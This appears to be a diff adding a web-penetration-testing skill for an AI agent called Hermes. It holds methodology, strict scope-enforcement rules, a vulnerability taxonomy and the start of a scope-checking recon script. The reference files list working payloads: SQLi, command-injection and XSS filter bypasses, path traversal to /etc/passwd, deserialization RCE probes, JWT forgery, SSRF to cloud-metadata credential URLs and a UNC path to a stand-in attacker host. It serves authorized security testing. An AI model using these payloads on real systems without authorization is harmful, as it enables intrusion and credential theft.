||||
2. **Send the witness payload** — minimal proof. SQLi: `' AND 1=1--`
|
||||
then `' AND 1=2--`. XSS: a benign marker like
|
||||
`<svg/onload=console.log("HERMES-PENTEST-XSS")>`. Never `alert(1)` in
|
||||
stored XSS — it'll fire for other users in shared environments.
|
||||
3. **Verify the witness fires** — for blind injection, use a sleep
|
||||
probe (`SLEEP(5)`) and time the response. For SSRF, use a
|
||||
tester-controlled callback host you own (NOT a public service like
|
||||
webhook.site for sensitive engagements — exfil paths).
|
||||
4. **Promote level:**
|
||||
- **L1 Identified** — pattern matched, no behavior change
|
||||
- **L2 Partial** — sink reached, but defense in place
|
||||
- **L3 Confirmed** — payload changed app behavior in observable way
|
||||
- **L4 Critical** — data extracted, code executed, access escalated
|
||||
5. **Bypass exhaustion before classifying as FP.** For each candidate
|
||||
that blocks: try at least the bypass set in
|
||||
`references/bypass-techniques.md` for that class. Only after the set
|
||||
is exhausted may you write `verdict: false_positive`.
|
||||
6. **Record evidence** for every L3/L4:
|
||||
- Full request (method, URL, headers, body)
|
||||
- Response (status, headers, relevant body excerpt)
|
||||
- Reproducer command (curl one-liner)
|
||||
- Impact statement
|
||||
|
||||
Output: `findings/exploitation-evidence.md`
|
||||
|
||||
**Redact in evidence files:**
|
||||
- Any captured credentials/tokens → last 6 chars only in chat;
|
||||
full value to `findings/secrets-vault.md` (gitignored).
|
||||
- Other users' PII → redact.
|
||||
- Your test credentials → fine to keep.
|
||||
|
||||
---
|
||||
|
||||
## Phase 5: Reporting
|
||||
|
||||
Generate the final report using `templates/pentest-report.md`. Sections:
|
||||
|
||||
1. Executive summary
|
||||
2. Engagement scope (from `engagement/scope.txt`)
|
||||
3. Authorization (from `engagement/authorization.md`)
|
||||
4. Findings (L3/L4 only — proof-required). Per finding:
|
||||
- Title, severity (CVSS 3.1), CWE
|
||||
- Affected endpoint(s)
|
||||
- Proof (request + response excerpt)
|
||||
- Reproduction steps
|
||||
- Impact
|
||||
- Remediation
|
||||
5. Not-exploited candidates (L1/L2 with notes on what blocked them)
|
||||
6. Out-of-scope observations
|
||||
7. Methodology / tools used
|
||||
8. Limitations and what was NOT tested
|
||||
|
||||
**Severity policy:** CVSS only for L3/L4. L1/L2 are "candidates pending
|
||||
verification" — don't assign CVSS to unverified findings.
|
||||
|
||||
---
|
||||
|
||||
## When to Stop
|
||||
|
||||
- The user revokes authorization.
|
||||
- A candidate finding clearly impacts production data and you don't have
|
||||
approval for destructive testing — STOP and ask.
|
||||
- The target starts returning 503/429 storms — back off, reconvene with
|
||||
the operator.
|
||||
- You discover something *outside* the contracted scope (e.g. an exposed
|
||||
customer database while testing an unrelated endpoint). STOP, document,
|
||||
report to the operator. Do not pivot without explicit approval — that
|
||||
pivot is what makes pentesting illegal.
|
||||
|
||||
---
|
||||
|
||||
## What This Skill Does NOT Cover
|
||||
|
||||
- Network-layer pentesting beyond port scanning (no Metasploit,
|
||||
Cobalt Strike, AD attacks, network protocol fuzzing).
|
||||
- Reverse engineering / binary analysis (see issue #383).
|
||||
- Source-only static analysis (see issue #382).
|
||||
- Active social engineering / phishing.
|
||||
- Anything against systems the operator hasn't pre-authorized.
|
||||
|
||||
If the engagement needs any of these, escalate to a professional
|
||||
pentester. This skill complements professional pentesting; it does
|
||||
not replace it.
|
||||
|
||||
---
|
||||
|
||||
## Further Reading
|
||||
|
||||
- `references/scope-enforcement.md` — how to bound every active request
|
||||
- `references/vuln-taxonomy.md` — slot types, render contexts, OWASP map
|
||||
- `references/exploitation-techniques.md` — per-class payload patterns
|
||||
- `references/bypass-techniques.md` — common WAF/filter bypasses
|
||||
- `templates/authorization.md` — engagement authorization template
|
||||
- `templates/pentest-report.md` — final report template
|
||||
- `templates/exploitation-queue.json` — per-class finding queue schema
|
||||
- `scripts/recon-scan.sh` — rate-limited nmap+whatweb+headers wrapper
|
||||
@@ -0,0 +1,133 @@
|
||||
# Bypass Techniques
|
||||
|
||||
Common filter/WAF bypasses. Used during the bypass-exhaustion phase
|
||||
before classifying a finding as false positive.
|
||||
|
||||
A finding may only be marked `false_positive` AFTER the relevant
|
||||
bypass set has been exhausted and the witnesses still fail.
|
||||
|
||||
## SQL Injection Bypasses
|
||||
|
||||
When `'` is filtered/escaped:
|
||||
- Numeric injection: drop the quote, use `1 OR 1=1`
|
||||
- Different quote: `"` instead of `'`
|
||||
- Comment-based: `1/**/OR/**/1=1`
|
||||
- Hex literal: `0x61646d696e` for `admin`
|
||||
- `CHAR(65,66)` for `AB`
|
||||
- Case variation: `OoRr` (often stripped to `OR`)
|
||||
- Inline comments: `O/**/R`
|
||||
- Null byte: `' %00 OR '1`=`1`
|
||||
- Double URL encoding: `%2527` for `'`
|
||||
- Multi-byte: `%bf%27` (works against some single-byte unescape)
|
||||
|
||||
## Command Injection Bypasses
|
||||
|
||||
When semicolons filtered:
|
||||
- Newline: `%0Asleep 5`
|
||||
- Carriage return: `%0Dsleep 5`
|
||||
- Pipe: `|sleep 5`, `||sleep 5`
|
||||
- Background: `&sleep 5`, `&&sleep 5`
|
||||
- Substitution: `$(sleep 5)`, `` `sleep 5` ``
|
||||
- Globbing: `/???/?l??p 5` for `/bin/sleep 5`
|
||||
- IFS for spaces: `sleep${IFS}5`, `sleep$IFS$95`
|
||||
- Quote evasion: `s""leep 5`, `s'l'eep 5`
|
||||
- Variable: `a=sl;b=eep;${a}${b} 5`
|
||||
- Encoding: `bash<<<$(base64 -d <<< c2xlZXAgNQo=)`
|
||||
|
||||
## Path Traversal Bypasses
|
||||
|
||||
When `../` filtered:
|
||||
- URL-encoded: `%2e%2e%2f`
|
||||
- Double URL-encoded: `%252e%252e%252f`
|
||||
- Unicode: `%c0%ae%c0%ae%c0%af`, `%uff0e%uff0e%u2215`
|
||||
- Mixed: `..%2f`, `%2e./`
|
||||
- Null byte (older platforms): `../../../etc/passwd%00.png`
|
||||
- Backslash on Windows: `..\..\..\windows\win.ini`
|
||||
- Absolute path: `/etc/passwd` (skips traversal entirely)
|
||||
|
||||
When base dir is prepended (`/var/www/uploads/${v}`):
|
||||
- The traversal still works if `realpath` not enforced
|
||||
- Try ending the path early: `../../etc/passwd%00`
|
||||
|
||||
## XSS Bypasses
|
||||
|
||||
When `<script>` blocked:
|
||||
- `<img src=x onerror=...>`
|
||||
- `<svg/onload=...>`
|
||||
- `<iframe srcdoc="...">`
|
||||
- `<details ontoggle=...>` (HTML5)
|
||||
- `<video><source onerror=...>`
|
||||
- `<input autofocus onfocus=...>`
|
||||
|
||||
When parens filtered:
|
||||
- Template literals: `onerror=alert\`1\``
|
||||
- `onerror=eval('alert(1)')` → `onerror=eval(name)` + set
|
||||
`window.name` from attacker page
|
||||
|
||||
When event handlers stripped:
|
||||
- `<a href="javascript:alert(1)">` (often still works)
|
||||
- `<form action="javascript:alert(1)"><input type=submit>`
|
||||
- SVG: `<svg><animate attributeName=href values=javascript:alert(1) ...>`
|
||||
|
||||
When `alert` filtered:
|
||||
- `confirm(1)`, `prompt(1)`, `print()`
|
||||
- `top.alert(1)`, `self['ale'+'rt'](1)`
|
||||
- `window['ale\u0072t'](1)` (unicode in property access)
|
||||
- `Function("alert(1)")()`
|
||||
|
||||
CSP bypasses (require CSP misconfig):
|
||||
- `unsafe-inline` allows everything
|
||||
- `unsafe-eval` allows `eval`/`Function`
|
||||
- Wildcard sources (`*.googleapis.com`) — angular/jsonp gadgets
|
||||
- `'strict-dynamic'` without nonce/hash on inline → still blocked but
|
||||
external scripts allowed via trusted loader
|
||||
- Old CSP without `default-src`/`script-src` → only blocks listed
|
||||
|
||||
## Authentication Bypasses
|
||||
|
||||
- HTTP verb tampering: `GET /admin` blocked → try `POST`, `PUT`, `OPTIONS`
|
||||
- Path normalization: `/admin/` blocked → try `/admin`, `/admin/.`,
|
||||
`/admin/x/..`, `//admin`, `/%2e/admin`, `/Admin` (case)
|
||||
- Header injection: `X-Original-URL: /admin`, `X-Forwarded-For: 127.0.0.1`,
|
||||
`X-Real-IP: 127.0.0.1`, `X-Forwarded-Proto: https`
|
||||
- Trailing chars: `/admin#`, `/admin?`, `/admin/`, `/admin.json`,
|
||||
`/admin..;/`, `/admin/..;/`
|
||||
- Method confusion via `X-HTTP-Method-Override: GET`
|
||||
|
||||
## SSRF Bypasses
|
||||
|
||||
When `127.0.0.1` blocked:
|
||||
- IPv6 loopback: `[::1]`, `[0:0:0:0:0:0:0:1]`
|
||||
- Decimal IP: `2130706433` for `127.0.0.1`
|
||||
- Hex IP: `0x7f000001`
|
||||
- Octal: `0177.0.0.1`
|
||||
- Short form: `127.1`, `0.0.0.0`, `0`
|
||||
- DNS rebinding: control a DNS server, return `127.0.0.1` on second
|
||||
resolution (TTL=0)
|
||||
- DNS records that resolve to internal IPs: `localtest.me` (127.0.0.1)
|
||||
- URL parsing differentials: `http://allowed-host@127.0.0.1`,
|
||||
`http://127.0.0.1#@allowed-host`
|
||||
- IDN homograph: `http://1.0.0.1` (fullwidth dots)
|
||||
|
||||
When schemes blocked:
|
||||
- `gopher://`, `dict://`, `file://`, `ftp://`
|
||||
- `data:` (for content-type bypass)
|
||||
- `jar:` (Java)
|
||||
|
||||
## Rate Limit Bypasses
|
||||
|
||||
- Header rotation: `X-Forwarded-For`, `X-Real-IP`, `X-Originating-IP`,
|
||||
`X-Client-IP`, `X-Cluster-Client-IP`, `Forwarded`
|
||||
- Case: `X-FORWARDED-FOR`
|
||||
- User-Agent variation
|
||||
- Different endpoint that hits same handler
|
||||
|
||||
## Bypass Discipline
|
||||
|
||||
For each bypass attempt:
|
||||
1. Note WHAT you tried and WHY it might work (in your evidence log)
|
||||
2. Capture the response
|
||||
3. If still blocked, move to the next item in the bypass set
|
||||
4. Only after the documented bypass set is exhausted do you write
|
||||
`verdict: false_positive` with reason "bypass set exhausted; defense
|
||||
appears effective for this slot type."
|
||||
@@ -0,0 +1,204 @@
|
||||
# Exploitation Techniques
|
||||
|
||||
Per-class playbooks. Use these as starting points for witness payloads.
|
||||
ALWAYS apply scope enforcement before sending anything from this file.
|
||||
|
||||
## Injection
|
||||
|
||||
### SQL Injection
|
||||
|
||||
Witness sequence (UNION-blind safe):
|
||||
1. Baseline: capture response for original parameter
|
||||
2. `' AND 1=1--` (true branch)
|
||||
3. `' AND 1=2--` (false branch)
|
||||
4. Compare lengths/bodies. Difference = SQLi.
|
||||
|
||||
Time-based:
|
||||
- MySQL: `' AND SLEEP(5)--`
|
||||
- Postgres: `'; SELECT pg_sleep(5)--`
|
||||
- MSSQL: `'; WAITFOR DELAY '0:0:5'--`
|
||||
- SQLite: `' AND randomblob(100000000)--` (CPU-burn alternative)
|
||||
|
||||
DO NOT send: `'; DROP TABLE` payloads. Reproducing the bug doesn't
|
||||
require destruction.
|
||||
|
||||
### Command Injection
|
||||
|
||||
Witness:
|
||||
- Linux: `; sleep 5` or `$(sleep 5)` or `` `sleep 5` ``
|
||||
- Windows: `& timeout /t 5`
|
||||
- If output is reflected: `; echo HERMESPENTEST-$(id)`
|
||||
|
||||
Blind: time-delay probe is universally safe. Don't `rm -rf`.
|
||||
|
||||
### Path Traversal
|
||||
|
||||
Witness: `../../../../etc/passwd` (Linux) or `..\..\..\..\windows\win.ini` (Windows).
|
||||
Try with: URL-encoded, double-encoded, Unicode (`%c0%ae%c0%ae`),
|
||||
and SMB UNC (`\\evil-host\share` — only with operator OK).
|
||||
|
||||
### SSTI (Server-Side Template Injection)
|
||||
|
||||
Witness:
|
||||
- Jinja2: `{{7*7}}` → `49`
|
||||
- Twig: `{{7*7}}` → `49`
|
||||
- Smarty: `{$smarty.version}` or `{php}echo 1;{/php}`
|
||||
- ERB: `<%= 7*7 %>` → `49`
|
||||
- Velocity: `#set($x=7*7)$x`
|
||||
|
||||
Detection is the 49 (or template-specific equivalent). Don't go to RCE
|
||||
without operator OK.
|
||||
|
||||
### Deserialization
|
||||
|
||||
If you can identify the format:
|
||||
- Pickle: send `cos\nsystem\n(S'sleep 5'\ntR.` (base64'd, in the
|
||||
right context). Witness via time delay.
|
||||
- YAML: `!!python/object/apply:os.system ["sleep 5"]`
|
||||
- Java serialized: ysoserial gadgets, only with operator OK because
|
||||
these almost always RCE.
|
||||
|
||||
## XSS
|
||||
|
||||
### Reflected
|
||||
|
||||
Witness: `<svg/onload=fetch("/HERMES-PENTEST-XSS-"+document.cookie)>`
|
||||
where the path is one you'll grep for in server logs. NEVER use
|
||||
`alert(1)` — pop-ups annoy real users if your "test" target has any.
|
||||
|
||||
If reflected unencoded → L3 confirmed.
|
||||
|
||||
### Stored
|
||||
|
||||
Witness in a way that ONLY YOUR test account sees first. Use a unique
|
||||
marker per finding. If the marker fires for other users → L4 critical.
|
||||
|
||||
Pattern: `<svg/onload=fetch("/HERMES-${runId}-${vulnId}")>`. Add a
|
||||
server-side log grep step to your evidence.
|
||||
|
||||
### DOM XSS
|
||||
|
||||
Inspect every `document.write`, `innerHTML`, `eval`, `setTimeout(string)`,
|
||||
`Function(string)`, `setAttribute("href", ...)` site. The taint source
|
||||
is usually `location.hash`, `location.search`, `localStorage`,
|
||||
`postMessage` data, URL fragments.
|
||||
|
||||
Witness: navigate to `#<img src=x onerror=...>`. Confirm the
|
||||
sink fires.
|
||||
|
||||
## Auth
|
||||
|
||||
### Login Bypass
|
||||
|
||||
- SQLi in login: `' OR '1'='1` (very old, but check)
|
||||
- Boolean defaults: `username: admin, password: admin/password/123456`
|
||||
(only on lab targets, not production)
|
||||
- Account enumeration: timing or response difference between
|
||||
"unknown user" vs "wrong password"
|
||||
- Rate limiting: send 50 wrong passwords in 30s; see if you're throttled
|
||||
|
||||
### JWT Attacks
|
||||
|
||||
1. **alg:none**: change header to `{"alg":"none","typ":"JWT"}`, strip
|
||||
signature. If accepted → critical.
|
||||
2. **alg confusion**: HS256 signed with the RS256 public key. If the
|
||||
server stores the RS256 cert as a "secret" and the algorithm is
|
||||
attacker-controlled, this works.
|
||||
3. **Weak HMAC secret**: try `jwt_tool` or `hashcat` against the JWT
|
||||
with rockyou.txt (only if you have operator OK to crack).
|
||||
4. **kid header injection**: `kid` set to a SQLi payload or path-traversal
|
||||
to load a known key.
|
||||
5. **Expired token still accepted**: replay an old token.
|
||||
|
||||
### Session
|
||||
|
||||
- Cookie attrs: `Secure`, `HttpOnly`, `SameSite=Strict|Lax`.
|
||||
- Session fixation: log in, note cookie, log out, log in again — same
|
||||
cookie? Vulnerable.
|
||||
- Logout: does logout invalidate server-side, or just clear the client?
|
||||
|
||||
### Password Reset
|
||||
|
||||
- Predictable token (timestamp, sequential, weak random)
|
||||
- Host header poisoning in reset link (`Host: evil.test`)
|
||||
- No rate limit on reset endpoint
|
||||
- Token reuse / no expiry
|
||||
- Email enumeration via reset response
|
||||
|
||||
## Authz (Access Control)
|
||||
|
||||
### IDOR
|
||||
|
||||
Pattern: change `?id=123` to `?id=124`. If you see another user's data,
|
||||
L3 confirmed.
|
||||
|
||||
Variants:
|
||||
- Sequential IDs (easy)
|
||||
- UUIDs (still try — they leak in logs/responses)
|
||||
- Mass assignment: send extra params like `is_admin: true`, `role: admin`
|
||||
- HTTP method override: `GET /users/123` works, but `PUT /users/123` is
|
||||
not authz-checked
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
Vertical: regular user → admin endpoint. Check:
|
||||
- `/admin/*` accessible to non-admin?
|
||||
- `role` field in JWT/session client-editable?
|
||||
- Tenant ID swap: `tenant_id=mine` → `tenant_id=theirs`
|
||||
|
||||
Horizontal: user A → user B same role. Reuse IDOR patterns.
|
||||
|
||||
### Business Logic
|
||||
|
||||
- Negative quantity in cart
|
||||
- Race conditions (double-spend, atomicity)
|
||||
- Workflow skip (POST to step 3 without doing step 2)
|
||||
- Coupon stacking
|
||||
- Discount > total
|
||||
|
||||
## SSRF
|
||||
|
||||
Witnesses for SSRF probing (only to hosts the operator approved):
|
||||
|
||||
- Operator-owned callback (`https://hermes-callback.example/abcdef`)
|
||||
— confirms the request left the target's network
|
||||
- Internal recon (operator OK + scope): `http://127.0.0.1:6379/`,
|
||||
`http://127.0.0.1:9200/`, `http://[::1]:80/`
|
||||
|
||||
Cloud metadata (operator OK + your own infra):
|
||||
- AWS: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
|
||||
- GCP: `http://metadata.google.internal/computeMetadata/v1/` (needs
|
||||
`Metadata-Flavor: Google`)
|
||||
- Azure: `http://169.254.169.254/metadata/identity/oauth2/token`
|
||||
- Alibaba/Aliyun: `http://100.100.100.200/`
|
||||
|
||||
Protocol smuggling:
|
||||
- `gopher://` for Redis/Memcache/SMTP attacks (only with operator OK)
|
||||
- `file:///` for local file read
|
||||
- `dict://` for service probing
|
||||
|
||||
## Infra
|
||||
|
||||
- Headers audit: missing `Strict-Transport-Security`, `Content-Security-Policy`,
|
||||
`X-Content-Type-Options: nosniff`, `X-Frame-Options`/`frame-ancestors`,
|
||||
`Referrer-Policy`
|
||||
- TLS audit: weak ciphers, missing HSTS, mixed content
|
||||
- Information disclosure: `Server:`, `X-Powered-By:`, error stack traces,
|
||||
default landing pages (`/server-status`, `/.git/`, `/.env`, `/phpinfo.php`)
|
||||
- Default creds: only on lab targets
|
||||
- Open redirects: `?next=https://evil.example/` — confirms misuse for
|
||||
phishing chains
|
||||
|
||||
## Defense Recognition (don't waste cycles)
|
||||
|
||||
Skip past these — they're working defenses, not vulns:
|
||||
|
||||
- Parameterized queries via the language's standard binding
|
||||
- Content Security Policy with no `unsafe-inline`/`unsafe-eval` and
|
||||
a strict source list
|
||||
- argv-list subprocess invocation (Python `subprocess.run([...])`
|
||||
without `shell=True`)
|
||||
- `yaml.safe_load`, JSON-only deserialization
|
||||
- Allowlist-based redirects to a small set of known hosts
|
||||
- Auth checks with explicit "owner == current_user" on every record fetch
|
||||
- JWT verification with both `alg` allowlist and `iss`/`aud`/`exp` checks
|
||||
@@ -0,0 +1,110 @@
|
||||
# Scope Enforcement
|
||||
|
||||
The pentest skill is dangerous because Hermes can drive network tools
|
||||
unattended. The single most important rule: **every active request must
|
||||
target a host the operator authorized.** This file is the procedure.
|
||||
|
||||
## The Three Authorities
|
||||
|
||||
1. `engagement/authorization.md` — what the operator wrote down.
|
||||
2. `engagement/scope.txt` — the machine-readable allowlist.
|
||||
3. The current shell prompt — implicit: "I'm running as Hermes inside
|
||||
the operator's box."
|
||||
|
||||
If any of those three disagree, you STOP and ask. Don't try to reconcile.
|
||||
|
||||
## scope.txt format
|
||||
|
||||
One target per line. Comments with `#`.
|
||||
|
||||
```
|
||||
# Hostnames — resolved at use time
|
||||
localhost
|
||||
127.0.0.1
|
||||
::1
|
||||
staging.example.com
|
||||
api-staging.example.com
|
||||
|
||||
# CIDR — internal labs only, requires operator OK in writing
|
||||
192.168.50.0/24
|
||||
10.0.5.0/24
|
||||
```
|
||||
|
||||
Wildcards are NOT supported. If you need `*.staging.example.com`, list
|
||||
each host explicitly. This is on purpose: subdomain wildcards in
|
||||
authorization scope are how unauthorized testing happens.
|
||||
|
||||
## Host Extraction Rules
|
||||
|
||||
Before any active request, extract the target host from the command
|
||||
or URL and confirm it's in scope.
|
||||
|
||||
| Surface | Where the host lives | Example |
|
||||
|---------|----------------------|---------|
|
||||
| `curl URL` | The URL | `curl https://staging.example.com/login` |
|
||||
| `curl --resolve HOST:PORT:ADDR` | HOST | reject — resolve overrides scope |
|
||||
| `nmap TARGET` | Each TARGET arg | `nmap 10.0.5.5 staging.example.com` |
|
||||
| `whatweb URL` | The URL | `whatweb https://staging.example.com` |
|
||||
| `browser_navigate(url)` | The URL | python-side: extract host from `url` |
|
||||
| Tool-driven HTTP (sqlmap, wfuzz, gobuster) | `-u`, `-h`, target arg | depends on tool |
|
||||
|
||||
For URLs: `urllib.parse.urlparse(url).hostname.lower()`.
|
||||
For raw IPs: keep as IP, check against CIDR entries with
|
||||
`ipaddress.ip_address(host) in ipaddress.ip_network(cidr)`.
|
||||
|
||||
## Pre-Send Checklist
|
||||
|
||||
For every active request, before you press enter:
|
||||
|
||||
1. Did you extract the host correctly? (URL host, not Host header, not
|
||||
`--resolve` aliasing.)
|
||||
2. Is the host in scope.txt (exact hostname match) OR is its resolved
|
||||
IP in a scope.txt CIDR?
|
||||
3. If it's a redirect target you're following, did you re-check scope
|
||||
on the redirect URL?
|
||||
4. If it's the second hop of an SSRF probe, is the inner URL in scope?
|
||||
(Usually NOT — that's the whole point. Don't auto-fire.)
|
||||
5. Did the operator approve this class of payload? (Read-only recon
|
||||
is auto-OK; destructive payloads need explicit OK.)
|
||||
|
||||
If any answer is "no" or "not sure," STOP and ask the operator.
|
||||
|
||||
## Things That Look In-Scope But Aren't
|
||||
|
||||
- **Redirects to a parent or sister host.** `staging.example.com` →
|
||||
`auth.example.com` is a different host. Stop, re-confirm.
|
||||
- **CNAMEs.** `app.staging.example.com` may CNAME to
|
||||
`prod-cluster.aws.example.com`. Resolve and check IP, not just name.
|
||||
- **Cloud metadata IPs.** `169.254.169.254` is not in any sane
|
||||
scope.txt. If your SSRF candidate resolves there, you're probably
|
||||
testing against a real cloud host and need explicit approval before
|
||||
the probe.
|
||||
- **127.0.0.1 / localhost on a shared box.** If you're in a container
|
||||
or shared dev box, `localhost` may be someone else's service.
|
||||
Confirm with the operator that 127.0.0.1 means what they think.
|
||||
- **External services the target depends on.** Stripe API, OAuth
|
||||
providers, S3 buckets — even if your tests would touch them, they
|
||||
are NOT in scope by default.
|
||||
|
||||
## When Scope Fails Open
|
||||
|
||||
If you can't decide whether a host is in scope:
|
||||
|
||||
```
|
||||
DEFAULT: out of scope.
|
||||
```
|
||||
|
||||
Stop the agent. Ask the operator. Resume only after written
|
||||
confirmation. There is no penalty for asking; there is significant
|
||||
penalty for testing the wrong host.
|
||||
|
||||
## Logging
|
||||
|
||||
Every active request should append to `engagement/request-log.jsonl`:
|
||||
|
||||
```json
|
||||
{"ts": "2026-05-25T03:14:15Z", "method": "GET", "url": "https://staging.example.com/api/users", "host": "staging.example.com", "in_scope": true, "phase": "recon", "result_status": 200, "evidence_ref": "evidence/recon.md#endpoints"}
|
||||
```
|
||||
|
||||
This is your audit trail. If anyone ever asks "why did the pentest
|
||||
agent hit X?" you can answer from this log.
|
||||
@@ -0,0 +1,81 @@
|
||||
# Vulnerability Taxonomy
|
||||
|
||||
Two classification systems used during analysis. Both come from Shannon
|
||||
(concepts only; rewritten here). Both exist to make the question
|
||||
"is this exploitable?" mechanical instead of vibes-based.
|
||||
|
||||
## Injection: Slot Types
|
||||
|
||||
Every injection sink has a **slot type** — the lexical position the
|
||||
attacker payload lands in. Each slot type has a small set of
|
||||
**required defenses**. A mismatch is a vulnerability. The same defense
|
||||
applied to the wrong slot is also a vulnerability.
|
||||
|
||||
| Slot | Example | Required defense |
|
||||
|------|---------|------------------|
|
||||
| `SQL-val` | `SELECT * FROM u WHERE id = :v` | Parameterized binding |
|
||||
| `SQL-ident` | `SELECT * FROM ${table}` | Allowlist on identifier values |
|
||||
| `SQL-keyword` | `ORDER BY ${col} ${dir}` | Allowlist on column AND direction |
|
||||
| `CMD-argument` | `subprocess.run(["ls", v])` | argv list (never shell=True) |
|
||||
| `CMD-shell` | `os.system("ls " + v)` | DON'T — refactor to argv list |
|
||||
| `PATH-segment` | `open("/data/" + v)` | Normalize + allowlist + base-relative check |
|
||||
| `URL-host` | redirect to `https://${v}/x` | Allowlist of acceptable hosts |
|
||||
| `URL-fetch` | `requests.get(v)` | Allowlist + block private/metadata IPs (SSRF) |
|
||||
| `TEMPLATE-string` | `Template("Hello {{ v }}")` | Autoescape ON, no user-controlled template syntax |
|
||||
| `DESERIALIZE-pickle` | `pickle.loads(v)` | DON'T — use JSON / msgpack |
|
||||
| `DESERIALIZE-yaml` | `yaml.load(v)` | `yaml.safe_load`, never `yaml.load` |
|
||||
| `XPATH-expr` | `tree.xpath("//u[@id='" + v + "']")` | Parameterized XPath or escape |
|
||||
| `LDAP-filter` | `(uid=${v})` | LDAP filter escaping |
|
||||
| `REGEX-pattern` | `re.search(v, text)` | Don't take pattern from user (ReDoS too) |
|
||||
| `LOG-record` | `log.info("got " + v)` | Encode CR/LF/control chars before logging |
|
||||
| `EMAIL-header` | `Subject: ${v}` | Reject CR/LF |
|
||||
| `HTTP-header` | `Set-Cookie: ${v}` | Reject CR/LF (response splitting) |
|
||||
|
||||
When you classify a finding:
|
||||
1. Identify the slot type
|
||||
2. Identify the actual defense in the code (if you have source)
|
||||
3. If defense doesn't match the required-defense set: vulnerable
|
||||
|
||||
## XSS: Render Contexts
|
||||
|
||||
XSS exploitability depends on **where** in the HTML/JS the value lands.
|
||||
Encoding for one context doesn't protect another.
|
||||
|
||||
| Context | Example | Required encoding |
|
||||
|---------|---------|-------------------|
|
||||
| `HTML_BODY` | `<div>{{ v }}</div>` | HTML entity encode `<>&"'` |
|
||||
| `HTML_ATTR_QUOTED` | `<a href="{{ v }}">` | HTML attr encode |
|
||||
| `HTML_ATTR_UNQUOTED` | `<a href={{ v }}>` | Almost impossible to safely encode; quote the attr |
|
||||
| `URL_ATTR` (href/src) | `<a href="{{ v }}">` | Validate scheme allowlist + attr encode |
|
||||
| `JAVASCRIPT_STRING` | `<script>var x = "{{ v }}";</script>` | JS string escape + ensure quote consistency |
|
||||
| `JAVASCRIPT_BLOCK` | `<script>{{ v }}</script>` | DON'T — refactor; no safe encoding |
|
||||
| `CSS_VALUE` | `<style>color: {{ v }};</style>` | CSS encode + allowlist scheme/format |
|
||||
| `CSS_BLOCK` | `<style>{{ v }}</style>` | DON'T — refactor |
|
||||
| `JSON_RESPONSE` (consumed by JS) | `JSON.parse(response)` | JSON encode + correct content-type header |
|
||||
| `EVENT_HANDLER` | `<div onclick="{{ v }}">` | JS string escape *inside* HTML attr encode |
|
||||
| `URL_PATH` (router-driven) | route param echoed unencoded | URL-encode + HTML-encode |
|
||||
| `DOM_INNERHTML` | `el.innerHTML = v` (DOM XSS) | Use `textContent` instead, or DOMPurify |
|
||||
| `DOM_DOC_WRITE` | `document.write(v)` | DON'T — refactor |
|
||||
|
||||
When you classify:
|
||||
1. Identify the render context where user input lands
|
||||
2. Identify the encoding applied
|
||||
3. Mismatch = vulnerable. Even "HTML encoded" output in
|
||||
`JAVASCRIPT_STRING` is exploitable (`</script><script>` evasion).
|
||||
|
||||
## OWASP Top 10 (2021) Mapping
|
||||
|
||||
For reporting:
|
||||
|
||||
| OWASP | Slot/context covered |
|
||||
|-------|----------------------|
|
||||
| A01 Broken Access Control | authz class (IDOR, vertical/horizontal) |
|
||||
| A02 Cryptographic Failures | infra class (weak TLS, plaintext storage) |
|
||||
| A03 Injection | injection class (all slot types except deserialize) |
|
||||
| A04 Insecure Design | reported in findings narrative |
|
||||
| A05 Security Misconfiguration | infra class |
|
||||
| A06 Vulnerable Components | infra class (whatweb output) |
|
||||
| A07 Auth Failures | auth class |
|
||||
| A08 Software/Data Integrity | DESERIALIZE-* slots, also supply chain |
|
||||
| A09 Logging/Monitoring | infra class (out of scope for active testing) |
|
||||
| A10 SSRF | ssrf class |
|
||||
+126
@@ -0,0 +1,126 @@
|
||||
#!/usr/bin/env bash
|
||||
# Rate-limited recon scan wrapper for the web-pentest skill.
|
||||
# Wraps nmap + whatweb + curl headers; enforces scope.txt.
|
||||
#
|
||||
# Usage: recon-scan.sh <engagement-dir> <target-url>
|
||||
#
|
||||
# Example:
|
||||
# recon-scan.sh engagement-20260525-031415 http://127.0.0.1:9119
|
||||
set -euo pipefail
|
||||
|
||||
ENGAGEMENT_DIR="${1:-}"
|
||||
TARGET_URL="${2:-}"
|
||||
|
||||
if [[ -z "$ENGAGEMENT_DIR" || -z "$TARGET_URL" ]]; then
|
||||
echo "usage: $0 <engagement-dir> <target-url>" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
if [[ ! -d "$ENGAGEMENT_DIR" ]]; then
|
||||
echo "Engagement directory $ENGAGEMENT_DIR does not exist." >&2
|
||||
echo "Run Phase 0 (engagement setup) first." >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
SCOPE_FILE="$ENGAGEMENT_DIR/scope.txt"
|
||||
AUTH_FILE="$ENGAGEMENT_DIR/authorization.md"
|
||||
EVIDENCE_DIR="$ENGAGEMENT_DIR/evidence"
|
||||
LOG_FILE="$ENGAGEMENT_DIR/request-log.jsonl"
|
||||
|
||||
if [[ ! -f "$AUTH_FILE" ]]; then
|
||||
echo "Missing $AUTH_FILE — no engagement authorization on file." >&2
|
||||
echo "Fill out templates/authorization.md before running." >&2
|
||||
exit 3
|
||||
fi
|
||||
|
||||
if [[ ! -f "$SCOPE_FILE" ]]; then
|
||||
echo "Missing $SCOPE_FILE — no scope allowlist on file." >&2
|
||||
exit 3
|
||||
fi
|
||||
|
||||
mkdir -p "$EVIDENCE_DIR"
|
||||
|
||||
# Extract host from URL.
|
||||
HOST="$(python3 -c "import sys, urllib.parse as u; print(u.urlparse(sys.argv[1]).hostname or '')" "$TARGET_URL")"
|
||||
if [[ -z "$HOST" ]]; then
|
||||
echo "Could not parse host from URL: $TARGET_URL" >&2
|
||||
exit 4
|
||||
fi
|
||||
|
||||
# Scope check: hostname must appear literally in scope.txt, OR the
|
||||
# resolved IP must fall inside a CIDR listed there.
|
||||
in_scope() {
|
||||
local host="$1"
|
||||
while IFS= read -r line; do
|
||||
# strip comments + whitespace
|
||||
local entry
|
||||
entry="$(printf '%s' "$line" | sed 's/#.*//' | tr -d '[:space:]')"
|
||||
[[ -z "$entry" ]] && continue
|
||||
if [[ "$entry" == "$host" ]]; then
|
||||
return 0
|
||||
fi
|
||||
# If entry is CIDR, check via python
|
||||
if [[ "$entry" == */* ]]; then
|
||||
python3 - "$host" "$entry" <<'PY' && return 0
|
||||
import sys, socket, ipaddress
|
||||
host, cidr = sys.argv[1], sys.argv[2]
